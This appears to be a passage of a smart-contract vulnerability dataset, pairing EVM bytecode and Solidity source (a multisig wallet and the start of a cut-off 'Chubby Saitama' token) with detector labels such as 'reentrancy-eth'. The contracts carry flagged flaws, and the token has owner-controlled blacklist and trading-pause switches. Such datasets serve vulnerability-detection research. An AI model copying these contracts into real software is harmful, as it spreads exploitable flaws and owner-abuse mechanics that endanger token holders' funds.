fffff6120ae16565b91506001016116ed565b600160a060020a03331660009081526009602052604090205482111561186d57600080fd5b5060005b84518110156111c6576118a7848281518110151561188b57fe5b9060200190602002015160096000888581518110151561110a57fe5b6009600087848151811015156118b957fe5b6020908102909101810151600160a060020a031682528101919091526040016000205584518590829081106118ea57fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206124d6833981519152868481518110151561192457fe5b906020019060200201516040518082815260200191505060405180910390a3600101611871565b6001546000908190819033600160a060020a0390811691161461196d57600080fd5b6000855111801561197f575083518551145b151561198a57600080fd5b5060009050805b8451811015611c0f57600084828151811015156119aa57fe5b906020019060200201511180156119e2575084818151811015156119ca57fe5b90602001906020020151600160a060020a0316600014155b8015611a235750600b600086838151811015156119fb57fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b8015611a6a5750600c60008683815181101515611a3c57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b1515611a7557600080fd5b611a8b6305f5e10085838151811015156117e757fe5b8482815181101515611a9957fe5b602090810290910101528351849082908110611ab157fe5b90602001906020020151600960008784815181101515611acd57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020541015611afb57600080fd5b611b578482815181101515611b0c57fe5b90602001906020020151600960008885815181101515611b2857fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff61209c16565b600960008784815181101515611b6957fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558351611b9e9085908390811061182757fe5b915033600160a060020a03168582815181101515611bb857fe5b90602001906020020151600160a060020a03166000805160206124d68339815191528684815181101515611be857fe5b906020019060200201516040518082815260200191505060405180910390a3600101611991565b600160a060020a0333166000908152600960205260409020546111ef908363ffffffff6120ae16565b60015433600160a060020a03908116911614611c5357600080fd5b600160a060020a0381161515611c6857600080fd5b600154604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008084118015611cfb5750600160a060020a0333166000908152600b602052604090205460ff16155b8015611d205750600160a060020a0385166000908152600b602052604090205460ff16155b8015611d435750600160a060020a0333166000908152600c602052604090205442115b8015611d665750600160a060020a0385166000908152600c602052604090205442115b1515611d7157600080fd5b611d7a856120e8565b1561208657600160a060020a033316600090815260096020526040902054841115611da457600080fd5b600160a060020a033316600090815260096020526040902054611dcd908563ffffffff61209c16565b600160a060020a033381166000908152600960205260408082209390935590871681522054611e02908563ffffffff6120ae16565b6009600087600160a060020a0316600160a060020a031681526020019081526020016000208190555084600160a060020a03166000836040516020018082805190602001908083835b60208310611e6a5780518252601f199092019160209182019101611e4b565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b60208310611ecd5780518252601f199092019160209182019101611eae565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611f5f578181015183820152602001611f47565b50505050905090810190601f168015611f8c5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af193505050501515611fac57fe5b826040518082805190602001908083835b60208310611fdc5780518252601f199092019160209182019101611fbd565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208a83529351939550600160a060020a038b811695503316937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a484600160a060020a031633600160a060020a03166000805160206124d6833981519152866040518082815260200191505060405180910390a3506001612094565b612091858585612358565b90505b949350505050565b6000828211156120a857fe5b50900390565b600082820183811015610c5957fe5b6000808315156120d0576000915061142b565b508282028284828115156120e057fe5b0414610c5957fe5b6000903b1190565b600160a060020a033316600090815260096020526040812054819084111561211757600080fd5b600160a060020a033316600090815260096020526040902054612140908563ffffffff61209c16565b600160a060020a033381166000908152600960205260408082209390935590871681522054612175908563ffffffff6120ae16565b600160a060020a0380871660008181526009602090815260408083209590955593517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523393841660048201908152602482018a90526060604483019081528951606484015289518c9850949663c0ee0b8a96958c958c9560840192860191908190849084905b838110156122155781810151838201526020016121fd565b50505050905090810190601f1680156122425780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561226357600080fd5b505af1158015612277573d6000803e3d6000fd5b50505050826040518082805190602001908083835b602083106122ab5780518252601f19909201916020918201910161228c565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208a83529351939550600160a060020a038b811695503316937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a484600160a060020a031633600160a060020a03166000805160206124d6833981519152866040518082815260200191505060405180910390a3506001949350505050565b600160a060020a03331660009081526009602052604081205483111561237d57600080fd5b600160a060020a0333166000908152600960205260409020546123a6908463ffffffff61209c16565b600160a060020a0333811660009081526009602052604080822093909355908616815220546123db908463ffffffff6120ae16565b600160a060020a0385166000908152600960209081526040918290209290925551835184928291908401908083835b602083106124295780518252601f19909201916020918201910161240a565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208983529351939550600160a060020a038a811695503316937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a483600160a060020a031633600160a060020a03166000805160206124d6833981519152856040518082815260200191505060405180910390a350600193925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582005663d2d3ffa52ffb0129114a65e132f781bef1bcbe3566a16a5fb1f9c2145580029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
3,682
0xdad2d902dbee2dfe545ba687ede92f6a69db3828
// SPDX-License-Identifier: GPL-2.0-or-later pragma solidity ^0.7.6; // File: contracts/interfaces/multiOwned/IMultiOwnedEvents.sol /// @title MultiOwned 事件接口定义 interface IMultiOwnedEvents { /// @notice 签名时,触发该事件 event Confirmation(address owner, uint txId); /// @notice 撤销签名时触发该事件 event Revoke(address owner, uint txId); /// @notice owner移交时,触发该事件 event OwnerChanged(address oldOwner, address newOwner); /// @notice 添加新的owner时,触发该事件 event OwnerAdded(address newOwner); /// @notice 移除owner时,触发该事件 event OwnerRemoved(address oldOwner); /// @notice 最小签名数量发生改变时,触发该事件 event RequirementChanged(uint newRequirement); } // File: contracts/interfaces/multiOwned/IMultiOwnedState.sol /// @title MultiOwned 状态变量及只读函数 interface IMultiOwnedState { /// @notice 最小需要的签名数量 function requiredNum() external view returns(uint); /// @notice 所有owner个数 function ownerNums() external view returns(uint); /// @notice 查询某个pending交易的状态 /// @param txId 交易索引号 /// @return yetNeeded 还需要签名的数量, ownersDone 已经签名的owners; function pendingOf(uint txId) external view returns(uint yetNeeded, uint ownersDone); /// @notice 下一个pending队列交易号 function nextPendingTxId() external view returns(uint); /// @notice 查询某个owner地址 /// @dev Gets an owner by 0-indexed position (using numOwners as the count) function getOwner(uint ownerIndex) external view returns (address); /// @notice 地址是否为owner function isOwner(address addr) external view returns (bool); /// @notice owner是否已经签名交易 /// @param txId 交易索引号 /// @param owner owner地址 function hasConfirmed(uint txId, address owner) external view returns (bool); } // File: contracts/interfaces/multiOwned/IMultiOwnedActions.sol /// @title MultiOwned 操作接口定义 interface IMultiOwnedActions { /// @notice 撤销某笔pending交易的签名 /// @dev This function can only be called by owner /// @param txId 交易号 function revoke(uint txId) external; /// @notice 修改owner为其它地址 /// @dev This function can only be called by self /// @param from 源地址 /// @param to 目标地址 function changeOwner(address from, address to) external; /// @notice 添加新的owner /// @dev This function can only be called by self /// @param newOwner 新的owner地址 function addOwner(address newOwner) external; /// @notice 移除owner /// @dev This function can only be called by self /// @param owner owner地址 function removeOwner(address owner) external; /// @notice 修改最小签名数 /// @dev This function can only be called by self /// @param newRequired 新的最小签名数 function changeRequirement(uint newRequired) external; } // File: contracts/interfaces/IMultiOwned.sol /// @title MultiOwned接口 /// @notice 接口定义分散在多个接口文件 interface IMultiOwned is IMultiOwnedEvents, IMultiOwnedState, IMultiOwnedActions { } // File: contracts/base/MultiOwned.sol contract MultiOwned is IMultiOwned { /// @inheritdoc IMultiOwnedState uint public override requiredNum; /// @inheritdoc IMultiOwnedState uint public override ownerNums; // list of owners uint public constant MAX_OWNERS = 16; address[MAX_OWNERS + 1] owners; mapping(address => uint) ownerIndexOf; /// @inheritdoc IMultiOwnedState mapping(uint => PendingState) public override pendingOf; /// @inheritdoc IMultiOwnedState uint public override nextPendingTxId = 1; struct PendingState { uint yetNeeded; uint ownersDone; } // self call function modifier. modifier onlySelfCall() { require(msg.sender == address(this), "OSC"); _; } constructor(address[] memory _owners, uint _required) { uint nums = _owners.length + 1; require(MAX_OWNERS >= nums, "MAX"); require(_required <= nums && _required > 0, "REQ"); ownerNums = nums; owners[1] = msg.sender; ownerIndexOf[msg.sender] = 1; for (uint i = 0; i < _owners.length; ++i) { require(_owners[i] != address(0), "ZA"); require(!isOwner(_owners[i]), "ISO"); owners[2 + i] = _owners[i]; ownerIndexOf[_owners[i]] = 2 + i; } requiredNum = _required; } /// @inheritdoc IMultiOwnedActions function revoke(uint txId) external override { uint ownerIndex = ownerIndexOf[msg.sender]; require(ownerIndex != 0, "OC"); uint ownerIndexBit = 2**ownerIndex; PendingState storage pending = pendingOf[txId]; require(pending.ownersDone & ownerIndexBit > 0, "OD"); pending.yetNeeded++; pending.ownersDone -= ownerIndexBit; emit Revoke(msg.sender, txId); } /// @inheritdoc IMultiOwnedActions function changeOwner(address from, address to) onlySelfCall external override { uint ownerIndex = ownerIndexOf[from]; require(ownerIndex > 0, "COF"); require(!isOwner(to) && to != address(0), "COT"); clearPending(); owners[ownerIndex] = to; ownerIndexOf[from] = 0; ownerIndexOf[to] = ownerIndex; emit OwnerChanged(from, to); } /// @inheritdoc IMultiOwnedActions function addOwner(address newOwner) onlySelfCall external override { require(!isOwner(newOwner), "AON"); require(ownerNums < MAX_OWNERS, "AOM"); clearPending(); ownerNums++; owners[ownerNums] = newOwner; ownerIndexOf[newOwner] = ownerNums; emit OwnerAdded(newOwner); } /// @inheritdoc IMultiOwnedActions function removeOwner(address owner) onlySelfCall external override { uint ownerIndex = ownerIndexOf[owner]; require(ownerIndex > 0, "ROI"); require(requiredNum <= ownerNums - 1, "RON"); owners[ownerIndex] = address(0); ownerIndexOf[owner] = 0; clearPending(); reorganizeOwners(); emit OwnerRemoved(owner); } /// @inheritdoc IMultiOwnedActions function changeRequirement(uint newRequired) onlySelfCall external override { require(newRequired <= ownerNums && newRequired > 0, "CR"); requiredNum = newRequired; clearPending(); emit RequirementChanged(newRequired); } /// @inheritdoc IMultiOwnedState function getOwner(uint ownerIndex) external override view returns (address) { return address(owners[ownerIndex + 1]); } /// @inheritdoc IMultiOwnedState function isOwner(address addr) public override view returns (bool) { return ownerIndexOf[addr] > 0; } /// @inheritdoc IMultiOwnedState function hasConfirmed(uint txId, address owner) external override view returns (bool) { PendingState storage pending = pendingOf[txId]; uint ownerIndex = ownerIndexOf[owner]; if (ownerIndex == 0) return false; // determine the bit to set for this owner. uint ownerIndexBit = 2**ownerIndex; return (pending.ownersDone & ownerIndexBit > 0); } function confirmAndCheck(uint txId, uint ownerIndex) internal returns (bool) { PendingState storage pending = pendingOf[txId]; // if we're not yet working on this operation, switch over and reset the confirmation status. if (pending.yetNeeded == 0) { // reset count of confirmations needed. pending.yetNeeded = requiredNum; // reset which owners have confirmed (none) - set our bitmap to 0. pending.ownersDone = 0; nextPendingTxId = txId + 1; } // determine the bit to set for this owner. uint ownerIndexBit = 2**ownerIndex; // make sure we (the message sender) haven't confirmed this operation previously. if (pending.ownersDone & ownerIndexBit == 0) { emit Confirmation(msg.sender, txId); // ok - check if count is enough to go ahead. if (pending.yetNeeded <= 1) { // enough confirmations: reset and run interior. delete pendingOf[txId]; return true; } else { // not enough: record that this owner in particular confirmed. pending.yetNeeded--; pending.ownersDone |= ownerIndexBit; } } return false; } function reorganizeOwners() private { uint free = 1; while (free < ownerNums) { while (free < ownerNums && owners[free] != address(0)) free++; while (ownerNums > 1 && owners[ownerNums] == address(0)) ownerNums--; if (free < ownerNums && owners[ownerNums] != address(0) && owners[free] == address(0)) { owners[free] = owners[ownerNums]; ownerIndexOf[owners[free]] = free; owners[ownerNums] = address(0); } } } function clearPending() virtual internal { uint length = nextPendingTxId; for (uint i = 1; i < length; ++i) if (pendingOf[i].yetNeeded != 0) delete pendingOf[i]; nextPendingTxId = 1; } } // File: contracts/interfaces/IMultiSigWallet.sol /// @title MultiSigWallet 接口 interface IMultiSigWallet { /// @notice 执行一笔多签交易时,触发该事件 event MultiTransact(address owner, uint txId, uint value, address to, bytes data); /// @notice 创建完一笔还需要签名的交易时,触发该事件 event ConfirmationNeeded(uint txId, address initiator, uint value, address to, bytes data); /// @notice 查询某个pending交易的数据 /// @param txId 交易索引号 function txsOf(uint txId) external view returns( address to, uint value, bytes memory data ); /// @notice 创建待签名的交易 /// @dev This function can only be called by owner /// @param to 目标地址 /// @param value eth数量 /// @param data 调用目标方法的msg.data /// @return txId 交易号 function execute(address to, uint value, bytes memory data) external returns (uint txId); /// @notice 签名pending交易 /// @dev This function can only be called by owner /// @param txId 交易号 /// @return success 是否执行成功 function confirm(uint txId) external returns (bool success); } // File: contracts/MultiSigWallet.sol contract MultiSigWallet is IMultiSigWallet, MultiOwned { /// @inheritdoc IMultiSigWallet mapping (uint => Transaction) public override txsOf; struct Transaction { address to; uint value; bytes data; } constructor(address[] memory _owners, uint _required) MultiOwned(_owners, _required) { } function kill(address payable to) onlySelfCall external { selfdestruct(to); } receive() external payable { } /// @inheritdoc IMultiSigWallet function execute(address to, uint value, bytes memory data) override external returns (uint txId) { uint ownerIndex = ownerIndexOf[msg.sender]; require(ownerIndex != 0, "OC"); require(to != address(0), "EXT"); if(requiredNum <= 1){ (bool success, ) = to.call{value:value}(data); require(success, "EXC"); emit MultiTransact(msg.sender, txId, value, to, data); return 0; } txId = nextPendingTxId; confirmAndCheck(txId, ownerIndex); txsOf[txId].to = to; txsOf[txId].value = value; txsOf[txId].data = data; emit ConfirmationNeeded(txId, msg.sender, value, to, data); } /// @inheritdoc IMultiSigWallet function confirm(uint txId) override external returns (bool success) { uint ownerIndex = ownerIndexOf[msg.sender]; require(ownerIndex != 0, "OC"); address to = txsOf[txId].to; uint value = txsOf[txId].value; bytes memory data = txsOf[txId].data; require(to != address(0), "TXI"); if(!confirmAndCheck(txId, ownerIndex)) return true; (success, ) = to.call{value:value}(data); emit MultiTransact(msg.sender, txId, value, to, data); if (to != address(this)) delete txsOf[txId]; } function clearPending() override internal { uint length = nextPendingTxId; for (uint i = 1; i < length; ++i) if (txsOf[i].to != address(0)) delete txsOf[i]; super.clearPending(); } }
0x6080604052600436106101025760003560e01c80638034ecbd11610095578063ba51a6df11610064578063ba51a6df1461045f578063c41a360a14610489578063cbf0b0c0146104cf578063d5d0f21e14610502578063f00d4b5d1461051757610109565b80638034ecbd1461029f57806390c40b6114610358578063b61d27f61461036d578063ba0179b51461043557610109565b80632f54bf6e116100d15780632f54bf6e146101e15780634a35da2d146102145780637065cb48146102295780637e7feaa71461025c57610109565b806308aff9331461010e5780630b8bb1461461015b578063173825d91461018257806320c5429b146101b757610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101476004803603604081101561013157600080fd5b50803590602001356001600160a01b0316610552565b604080519115158252519081900360200190f35b34801561016757600080fd5b5061017061059f565b60408051918252519081900360200190f35b34801561018e57600080fd5b506101b5600480360360208110156101a557600080fd5b50356001600160a01b03166105a4565b005b3480156101c357600080fd5b506101b5600480360360208110156101da57600080fd5b50356106fb565b3480156101ed57600080fd5b506101476004803603602081101561020457600080fd5b50356001600160a01b03166107e7565b34801561022057600080fd5b50610170610808565b34801561023557600080fd5b506101b56004803603602081101561024c57600080fd5b50356001600160a01b031661080e565b34801561026857600080fd5b506102866004803603602081101561027f57600080fd5b5035610952565b6040805192835260208301919091528051918290030190f35b3480156102ab57600080fd5b506102c9600480360360208110156102c257600080fd5b503561096b565b60405180846001600160a01b0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561031b578181015183820152602001610303565b50505050905090810190601f1680156103485780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b34801561036457600080fd5b50610170610a21565b34801561037957600080fd5b506101706004803603606081101561039057600080fd5b6001600160a01b03823516916020810135918101906060810160408201356401000000008111156103c057600080fd5b8201836020820111156103d257600080fd5b803590602001918460018302840111640100000000831117156103f457600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610a27945050505050565b34801561044157600080fd5b506101476004803603602081101561045857600080fd5b5035610d99565b34801561046b57600080fd5b506101b56004803603602081101561048257600080fd5b50356110b1565b34801561049557600080fd5b506104b3600480360360208110156104ac57600080fd5b5035611176565b604080516001600160a01b039092168252519081900360200190f35b3480156104db57600080fd5b506101b5600480360360208110156104f257600080fd5b50356001600160a01b0316611199565b34801561050e57600080fd5b506101706111df565b34801561052357600080fd5b506101b56004803603604081101561053a57600080fd5b506001600160a01b03813581169160200135166111e5565b60008281526014602090815260408083206001600160a01b038516845260139092528220548061058757600092505050610599565b60019091015460029190910a16151590505b92915050565b601081565b3330146105de576040805162461bcd60e51b81526020600482015260036024820152624f534360e81b604482015290519081900360640190fd5b6001600160a01b0381166000908152601360205260409020548061062f576040805162461bcd60e51b8152602060048201526003602482015262524f4960e81b604482015290519081900360640190fd5b60018054036000541115610670576040805162461bcd60e51b81526020600482015260036024820152622927a760e91b604482015290519081900360640190fd5b60006002826011811061067f57fe5b0180546001600160a01b0319166001600160a01b0392831617905582166000908152601360205260408120556106b3611354565b6106bb6113c7565b604080516001600160a01b038416815290517f58619076adf5bb0943d100ef88d52d7c3fd691b19d3a9071b555b651fbf418da9181900360200190a15050565b3360009081526013602052604090205480610742576040805162461bcd60e51b81526020600482015260026024820152614f4360f01b604482015290519081900360640190fd5b60008281526014602052604090206001810154600283900a91908216610794576040805162461bcd60e51b815260206004820152600260248201526113d160f21b604482015290519081900360640190fd5b805460019081018255810180548390039055604080513381526020810186905281517fec9ab91322523c899ede7830ec9bfc992b5981cdcc27b91162fb23de5791117b929181900390910190a150505050565b6001600160a01b03811660009081526013602052604090205415155b919050565b60015481565b333014610848576040805162461bcd60e51b81526020600482015260036024820152624f534360e81b604482015290519081900360640190fd5b610851816107e7565b15610889576040805162461bcd60e51b815260206004820152600360248201526220a7a760e91b604482015290519081900360640190fd5b6010600154106108c6576040805162461bcd60e51b8152602060048201526003602482015262414f4d60e81b604482015290519081900360640190fd5b6108ce611354565b600180548101908190558190600290601181106108e757fe5b0180546001600160a01b0319166001600160a01b03928316179055600154908216600081815260136020908152604091829020939093558051918252517f994a936646fe87ffe4f1e469d3d6aa417d6b855598397f323de5b449f765f0c3929181900390910190a150565b6014602052600090815260409020805460019091015482565b60166020908152600091825260409182902080546001808301546002808501805488516101009582161595909502600019011691909104601f81018790048702840187019097528683526001600160a01b03909316959094919291830182828015610a175780601f106109ec57610100808354040283529160200191610a17565b820191906000526020600020905b8154815290600101906020018083116109fa57829003601f168201915b5050505050905083565b60155481565b3360009081526013602052604081205480610a6e576040805162461bcd60e51b81526020600482015260026024820152614f4360f01b604482015290519081900360640190fd5b6001600160a01b038516610aaf576040805162461bcd60e51b815260206004820152600360248201526211561560ea1b604482015290519081900360640190fd5b600160005411610c6f576000856001600160a01b031685856040518082805190602001908083835b60208310610af65780518252601f199092019160209182019101610ad7565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610b58576040519150601f19603f3d011682016040523d82523d6000602084013e610b5d565b606091505b5050905080610b99576040805162461bcd60e51b815260206004820152600360248201526245584360e81b604482015290519081900360640190fd5b7fa651d80098f1ad13a12649f3fb0fc2bd68205c45bd331a28e6df57380b128b5d338487898860405180866001600160a01b03168152602001858152602001848152602001836001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610c26578181015183820152602001610c0e565b50505050905090810190601f168015610c535780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a1600092505050610d92565b6015549150610c7e828261155c565b50600082815260166020908152604090912080546001600160a01b0319166001600160a01b038816178155600181018690558451610cc492600290920191860190611663565b507fd677ae7d44716e6665b9a17d70dd53b2c62d68f4a05c18c2e43a82ab63e6c69f823386888760405180868152602001856001600160a01b03168152602001848152602001836001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610d52578181015183820152602001610d3a565b50505050905090810190601f168015610d7f5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a1505b9392505050565b3360009081526013602052604081205480610de0576040805162461bcd60e51b81526020600482015260026024820152614f4360f01b604482015290519081900360640190fd5b600083815260166020908152604080832080546001808301546002938401805486516101009482161594909402600019011694909404601f81018790048702830187019095528482526001600160a01b039092169591949193909291830182828015610e8d5780601f10610e6257610100808354040283529160200191610e8d565b820191906000526020600020905b815481529060010190602001808311610e7057829003601f168201915b50939450505050506001600160a01b038316610ed6576040805162461bcd60e51b815260206004820152600360248201526254584960e81b604482015290519081900360640190fd5b610ee0868561155c565b610ef1576001945050505050610803565b826001600160a01b031682826040518082805190602001908083835b60208310610f2c5780518252601f199092019160209182019101610f0d565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610f8e576040519150601f19603f3d011682016040523d82523d6000602084013e610f93565b606091505b5050809550507fa651d80098f1ad13a12649f3fb0fc2bd68205c45bd331a28e6df57380b128b5d338784868560405180866001600160a01b03168152602001858152602001848152602001836001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561102657818101518382015260200161100e565b50505050905090810190601f1680156110535780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a16001600160a01b03831630146110a857600086815260166020526040812080546001600160a01b031916815560018101829055906110a560028301826116ef565b50505b50505050919050565b3330146110eb576040805162461bcd60e51b81526020600482015260036024820152624f534360e81b604482015290519081900360640190fd5b60015481111580156110fd5750600081115b611133576040805162461bcd60e51b815260206004820152600260248201526121a960f11b604482015290519081900360640190fd5b6000819055611140611354565b6040805182815290517facbdb084c721332ac59f9b8e392196c9eb0e4932862da8eb9beaf0dad4f550da9181900360200190a150565b60006002826001016011811061118857fe5b01546001600160a01b031692915050565b3330146111d3576040805162461bcd60e51b81526020600482015260036024820152624f534360e81b604482015290519081900360640190fd5b806001600160a01b0316ff5b60005481565b33301461121f576040805162461bcd60e51b81526020600482015260036024820152624f534360e81b604482015290519081900360640190fd5b6001600160a01b03821660009081526013602052604090205480611270576040805162461bcd60e51b815260206004820152600360248201526221a7a360e91b604482015290519081900360640190fd5b611279826107e7565b15801561128e57506001600160a01b03821615155b6112c5576040805162461bcd60e51b815260206004820152600360248201526210d3d560ea1b604482015290519081900360640190fd5b6112cd611354565b81600282601181106112db57fe5b0180546001600160a01b0319166001600160a01b03928316179055838116600081815260136020908152604080832083905593861680835291849020859055835192835282015281517fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c929181900390910190a1505050565b60155460015b818110156113bb576000818152601660205260409020546001600160a01b0316156113b357600081815260166020526040812080546001600160a01b031916815560018101829055906113b060028301826116ef565b50505b60010161135a565b506113c461161a565b50565b60015b6001548110156113c4575b600154811080156113fe57506000600282601181106113f057fe5b01546001600160a01b031614155b1561140b576001016113d5565b6001805411801561143e575060006001600160a01b031660026001546011811061143157fe5b01546001600160a01b0316145b15611452576001805460001901905561140b565b60015481108015611486575060006001600160a01b031660026001546011811061147857fe5b01546001600160a01b031614155b80156114a9575060006002826011811061149c57fe5b01546001600160a01b0316145b15611557576002600154601181106114bd57fe5b01546001600160a01b0316600282601181106114d557fe5b0180546001600160a01b0319166001600160a01b039290921691909117905580601360006002836011811061150657fe5b01546001600160a01b0316815260208101919091526040016000908120919091556001546002906011811061153757fe5b0180546001600160a01b0319166001600160a01b03929092169190911790555b6113ca565b600082815260146020526040812080546115855760008054825560018083019190915584016015555b6001810154600284900a90811661160f57604080513381526020810187905281517f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef929181900390910190a181546001106115fc575050506000828152601460205260408120818155600190810191909155610599565b8154600019018255600182018054821790555b506000949350505050565b60155460015b8181101561165a5760008181526014602052604090205415611652576000818152601460205260408120818155600101555b600101611620565b50506001601555565b828054600181600116156101000203166002900490600052602060002090601f01602090048101928261169957600085556116df565b82601f106116b257805160ff19168380011785556116df565b828001600101855582156116df579182015b828111156116df5782518255916020019190600101906116c4565b506116eb92915061172f565b5090565b50805460018160011615610100020316600290046000825580601f1061171557506113c4565b601f0160209004906000526020600020908101906113c491905b5b808211156116eb576000815560010161173056fea264697066735822122073a99dafe5b604e5ad196f21b522b3aafa28ef9807504923e3807a85423102de64736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
3,683
0x0789c0f309b23d2e1c94aaa150ca313a9a767a31
/** *Submitted for verification at Etherscan.io on 2022-04-28 */ /** █▀▀ █░█ █░█ █▄▄ █▄▄ █▄█   █▀ ▄▀█ █ ▀█▀ ▄▀█ █▀▄▀█ ▄▀█ █▄▄ █▀█ █▄█ █▄█ █▄█ ░█░   ▄█ █▀█ █ ░█░ █▀█ █░▀░█ █▀█ */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Chubbysaitama is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Chubby Saitama"; string private constant _symbol = "Chubby Saitama"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping (address => bool) private _isAllowedToTradeWhenDisabled; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 12; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x4299F63cd0453D53733D893AdFb86401da054429); address payable private _marketingAddress = payable(0x4299F63cd0453D53733D893AdFb86401da054429); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool public isTradingEnabled; uint256 private _tradingPausedTimestamp; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 100000000 * 10**9; uint256 public _maxWalletSize = 250000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } event AllowedWhenTradingDisabledChange(address indexed account, bool isExcluded); constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); 